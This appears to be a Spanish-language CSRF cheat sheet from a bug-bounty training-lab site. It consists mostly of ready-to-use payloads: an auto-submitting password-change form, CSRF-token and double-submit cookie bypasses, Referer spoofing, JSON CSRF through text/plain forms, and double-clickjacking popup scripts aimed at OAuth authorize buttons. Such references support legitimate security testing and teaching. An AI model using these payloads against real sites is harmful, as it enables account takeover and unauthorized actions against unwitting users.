Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet CSRF

Cross-Site Request Forgery

Referencia rápida

  • Siempre probar eliminar el token CSRF completamente antes de buscar bypasses
  • Cambiar metodo POST a GET puede evadir la verificacion del token
  • Double-Clickjacking via popup bypasea X-Frame-Options porque no usa iframes
  • Para JSON CSRF, probar enctype="text/plain" en formularios HTML
  • Buscar CSRF en: cambio de email/password, eliminacion de cuenta, transacciones, cambios de permisos

Bypass de token CSRF

Eliminar token completamenteEl servidor puede no verificar el token si no se envia

<form method="POST" action="https://target.com/change_password" id="csrf-form">
<input type="text" name="new_password" value="hacked">
<input type="submit" value="Submit">
</form>
<script>document.getElementById("csrf-form").submit();</script>

Token vacioAlgunos backends aceptan token vacio

<input type="text" name="csrf_token" value="">

Reusar token de otra sesionSi los tokens no estan vinculados a la sesion

<input type="text" name="csrf_token" value="871caef0757a4ac9691aceb9aad8b65b">

Cambiar metodo HTTPEl endpoint POST puede aceptar GET sin token

GET /password_change?new_password=abc123

Bypass de Double Submit Cookie

Mismo valor falso en cookie y bodySi solo se compara cookie vs body sin validar el valor

Cookie: csrf_token=not_a_real_token
Body: csrf_token=not_a_real_token

Subdomain cookie injectionXSS en subdominio permite inyectar cookie para el dominio padre

document.cookie="csrf_token=fake; domain=.target.com"

Bypass de Referer/Origin

Eliminar Referer con meta tag

<meta name="referrer" content="no-referrer">

Spoof Referer con subdominio

Referer: https://target.com.attacker.com

History pushState para OriginManipula la URL mostrada sin navegar

<script>history.pushState('', '', '/')</script>

CSRF en peticiones JSON

JSON via form con enctype text/plainEl nombre del input + valor forman JSON valido

<form method="POST" action="https://target.com/api/phone.json" enctype="text/plain">
<input type="hidden" name='{"phone":"01111111118","a":"' value='"}'>
</form>

Cambiar Content-Type a urlencodedEl backend puede aceptar multiples Content-Types

Content-Type: application/x-www-form-urlencoded
Body: phone=01111111118

Content-Type text/plain

Content-Type: text/plain
Body: {"phone":"01111111118"}

Double-Clickjacking via popup

Popup cursor trackingMueve el popup para que el boton quede siempre bajo el cursor

w = window.open("/popup", "", "width=500,height=300");
w.onload = () => {
  button = w.document.querySelector("button").getBoundingClientRect();
  onmousemove = (e) => {
    w.moveTo(e.screenX - button.x - button.width/2, e.screenY - button.y - button.height/2);
  };
};

Popunder via protocolo invalidoReenfoca ventana principal mientras el popup carga en background

window.open("https://target.com/oauth#btn", "popup");
window.open("invalid://", "main_window");

Hash-based focus para presionar botonEl browser hace focus al elemento con ese ID - Space lo presiona

window.open("https://target.com/authorize#authorize-btn", "popup");

Herramientas

Burp Suite CSRF PoC Generator

Genera PoC HTML automatico para cualquier request interceptada

Burp Suite > Right click request > Engagement Tools > Generate CSRF PoC

XSRFProbe

Auditor automatizado de CSRF que detecta tokens debiles y bypasses

python3 xsrfprobe.py -u https://target.com/

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica